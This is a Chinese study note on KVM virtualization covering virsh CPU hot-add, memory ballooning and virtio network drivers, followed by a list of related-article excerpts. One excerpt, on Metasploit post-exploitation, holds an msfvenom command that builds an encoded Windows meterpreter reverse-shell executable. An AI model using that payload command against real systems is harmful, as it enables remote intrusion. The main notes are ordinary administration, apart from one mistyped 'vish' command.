虚拟化技术学习笔记7

news2024/11/15 21:56:32

1、KVM虚拟机CPU热添加:

# 能够了解虚拟机添加CPU的作用及预准备

# 能够通过virt-manager为虚拟机添加CPU

# 能够通过virsh命令为虚拟机添加CPU

CPU热添加,不需要重新启动虚拟机。这个是CPU的热添加。

virsh list
virsh dominfo centos7-1

lscpu

vish setvcpus centos7-1 4 --live

virsh dominfo centos7-1

lscpu

2、KVM虚拟机内存气球应用:

1)能够了解虚拟机添加内存的作用及预准备;

2)能够通过virt-manager为虚拟机添加内存;

3)能够通过virsh命令为虚拟机添加内存;

KVM内存气球技术可以对虚拟机使用的内存按需调节,从而提高内存的利用率。

linux默认支持内存气球。

1、宿主机内存气球配置:

virsh dumpxml smartgo_01 | grep memballon -C2

2、虚拟机内存气球配置:

虚拟机需要安装virtio balloon驱动,内核开启CONFIG_VIRTIO_BALLOON。CentOS6/7默认已安装驱动并开启。

[root@localhost ~]#virsh qemu-monitor-command smartgo_01 --hmp --cmd info balloon # 查看
内存信息
[root@localhost ~]#virsh qemu-monitor-command smartgo_01 --hmp --cmd balloon 1024
[root@localhost ~]#virsh qemu-monitor-command smartgo_01 --hmp --cmd info balloon
free -m

3、KVM网络虚拟化技术:

学习目标:

1)能够了解半虚拟化驱动工作原理;

2)能够下载半虚拟化驱动;

3)能够查看主机是否支持半虚拟化驱动;

4)能够安装半虚拟化驱动;

5)能够通过virt-manager为虚拟机添加网卡;

6)能够通过virsh命令为虚拟机添加网卡;

7)能够添加四种虚拟网络交换机;

4、虚拟化层完全模拟出来的网卡。

全虚拟化网卡环境中,一个完整的数据包从虚拟机到物理机网卡的路径是:

 

 虚拟机到虚拟网卡,然后到虚拟化层就是Hypervisor,然后到内核网桥,然后到物理网卡。

通过驱动对操作系统进行修改,即Virtio技术。

半虚拟化网卡环境中,虚拟机直接访问虚拟化层,步骤减少:

    

5、使用半虚拟化驱动方法:

WindowsGuestDrivers/Download Drivers - KVM

[root@localhost ~]# wget https://fedorapeople.org/groups/virt/virtio-win/virtio-
win.repo -O /etc/yum.repos.d/virtio-win.repo
[root@localhost ~]# yum install virtio-win

 6、查看是否支持半虚拟化驱动:

宿主机查看方法:

virsh dumpxml centos7-1 |grep interface -C2

从结果我们没有看到支持半虚拟化驱动。

虚拟机查看方法:

virt-what
# kvm

ethtool -i eth0

 ethtool -i 就是查看eth0的网卡的驱动。

driver: virtio_net 可以看到是半虚拟化网络。

将虚拟机的网卡驱动改成e1000,然后重启虚拟机,然后检查发现虚拟机已经切换到e1000全虚拟化驱动。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/151002.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件测试中的网络问题

1.背景 在测试过程中,出现的问题,除了代码问题,还有很多的网络问题,所以需要了解网络知识,这样能发现网络问题,尽快解决就能提高效率。 2.计算机网络体系结构 OSI七层模型:物理层&#xff0c…

【链表】leetcode24. 两两交换链表中的节点(C/C++/Java/Js)

leetcode24. 两两交换链表中的节点1 题目2 思路3 代码3.1 C版本(递归迭代)3.2 C版本(递归迭代)3.3 Java版本(递归迭代)3.4 JavaScript版本4 总结1 题目 题源链接 给你一个链表,两两交换其中相…

Deep Learning for Image Super-resolution:A Survey

Abstract图像超分辨率技术是计算机视觉中提高图像和视频分辨率的一类重要的图像处理技术。近年来,深度学习技术在图像超分辨率方面取得了显著进展。本文旨在对基于深度学习的图像超分辨率研究进展进行综述。一般而言,我们可以将现有的SR技术研究大致分为…

C++设计模式:原型模式(详解+实现案例)

文章目录原型模式使用场景实现步骤案例一案例二优缺点原型模式 原型模式: 用原型实例指定创建对象的种类,并通过拷贝这些原型创建新的对象,简单理解就是“克隆指定对象” 使用场景 某些结构复杂的对象的创建工作中由于需求的变化&#xff…

QT之OpenGL光照

QT之OpenGL光照1. 冯氏光照模型概述1.1 环境光照1.2 漫反射光照1.2.1 法向量1.3 镜面光照1.4 冯氏光照公式1.5 着色器demo2. 材质2.1 demo3. 光照贴图3.1 demo4. 投光物4.1 平行光4.1.1 平行光Demo4.2 点光源4.2.1 衰减4.2.1 点光源Demo4.3 聚光4.3.1 聚光Demo4.3.2 平滑/软化边…

Ajax工作原理

Ajax工作原理 HTTP协议原理与ajax工作原理 1.什么HTTP协议 协议指的是规定浏览器跟服务器交互的数据格式 2.浏览器请求 必须是:请求报文 3.服务器响应 必须是:响应报文 4.请求报文与响应报文的数据格式如下 1.请求报文 (1)请求行 : 包含请…

TP4054国产替代DP4054 500mA 线性锂电充电芯片

DP4054 是一款完整的采用恒定电流/恒定电压单节锂离子电池充电管理芯片。其SOT小封装和较少的外部元件数目使其成为便携式应用的理想器件,DP4054 可以适合USB 电源和适配器电源工作。由于采用了内部PMOSFET 架构,加上防倒充电路,所以不需要外…

Msf后渗透测试阶段

● 已经获得目标系统控制权后扩大战果 ○ 提权 ○ 信息收集 ○ 渗透内网 ○ 永久后门 ● 基于已有session扩大战果 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST1.1.1.1 LPORT4444 -b "\x00"-e x86/shikata_ga_nai -f exe -o 1.ex…

重发布-路由策略实验2(1.8)

目标: 1、首先对每个路由器进行接口ip的配置 r1: [r1]interface GigabitEthernet 0/0/0 [r1-GigabitEthernet0/0/0]ip add 12.1.1.1 24 [r1-GigabitEthernet0/0/0]int gi 0/0/1 [r1-GigabitEthernet0/0/1]ip add 13.1.1.1 24 [r1-GigabitEthernet0/0/1…

LinkedList与单向链表(二)(双向链表)

1.ListedList的模拟实现package Demo1;/*** Describe:双向链表的简单模拟实现* User:lenovo* Date:2023-01-08* Time:11:20*/ class Node {int val;Node prev;Node next;public Node(int val) {this.val val;}public Node() {} } public class MyLinkedList {Node first;Node …

Linux--权限

一、目录权限 文件的权限描述符,由10个字母组成 如下图所示,可以按照1-3-3-3的结构划分,用rwx表示拥有权限,r代表read(可读),w代表write(可写),x代表execut…

Python高阶技巧(十二)

python学习之旅(十二) 👍查看更多可以关注查看首页或点击下方专栏目录 一.闭包 可以保存函数内变量,不会随着函数调用完而销毁 (1) 基本定义 在函数嵌套的前提下,内部函数使用了外部函数的变量,并且外部函数返回了内部函数&#x…

万字长文,带你从0到1的了解商业智能BI

借助互联网技术的发展,每天我们都会接触到大量的信息,信息的增长速度可以说是海啸级的。在这样一个信息爆炸的时代,掌握怎样利用数据就相当于掌握了一项生存技能,很多可以发掘并充分利用数据的企业会发现自己远远领先于竞争对手。…

Android 反编译初探-基础篇

前言 本文目标: 工具:介绍反编译需要用到的工具原理:反编译基本原理实践:替换一个未混淆&未加固apk的启动页面 工具 1.Android Studio 版本:Android Studio Dolphin | 2021.3.1 Patch 1 2.Jadx Class Decomp…

go 数组(array)和切片(slice)

文章目录数组ArraySlice 切片appendcopy(切片复制)goto数组Array 和以往的数组有很大的不同 数组时值类型,复制和传参会复制整个数组,而不是指针数组长度必须是常量,且是类型的组成部分。[2]int和[3]int是不同的数据…

Vue中Vue.use()的原理及基本使用

目录 🔥 前言 1. 举例理解 2. 源码分析 🔥 小结 相信很多人在用Vue使用别人的组件时,会用到 Vue.use() ,例如:Vue.use(VueRouter)、Vue.use(MintUI),这篇文章主要给大家介绍了关于Vue中Vue.use()的原理及基本使用的相关资料&a…

Mysql索据-Mysql的innodb引擎为什么要使用b+tree作为索引数据结构?

目录 索引? 什么是索引?索引有什么优点?索引有什么缺点? 索引的分类 按照功能分类: 按照数据结构分类 相关数据结构(b-tree、btree) b-tree btree b-tree和btree的区别 为什么Innodb要…

65. 锚框的代码实现

目标检测算法通常会在输入图像中采样大量的区域,然后判断这些区域中是否包含我们感兴趣的目标,并调整区域边界从而更准确地预测目标的真实边界框(ground-truth bounding box)。 不同的模型使用的区域采样方法可能不同。 这里我们…

TiDB学习笔记(八)-数据库故障处理

一、数据丢失快速恢复 数据恢复前置条件-GC,tidb_gc_life_time 查询GC已经清理的时间点tikv_gc_safe_point 数据快速恢复操作方式 DML->tidb_snapshot参数 (在tikv_gc_safe_point范围内) DDL->flashback table/recover table (flas…

AIGC与搜索深度融合,百度定义“生成式搜索”

设想一下,当你搜索“公司活动通知怎么写”时,搜索引擎直接“写”了一篇送到眼前是什么体验?百度的“生成式搜索”正在让这样的场景成为现实。日前,百度宣布,百度搜索将升级“生成式搜索”能力,基于百度自研…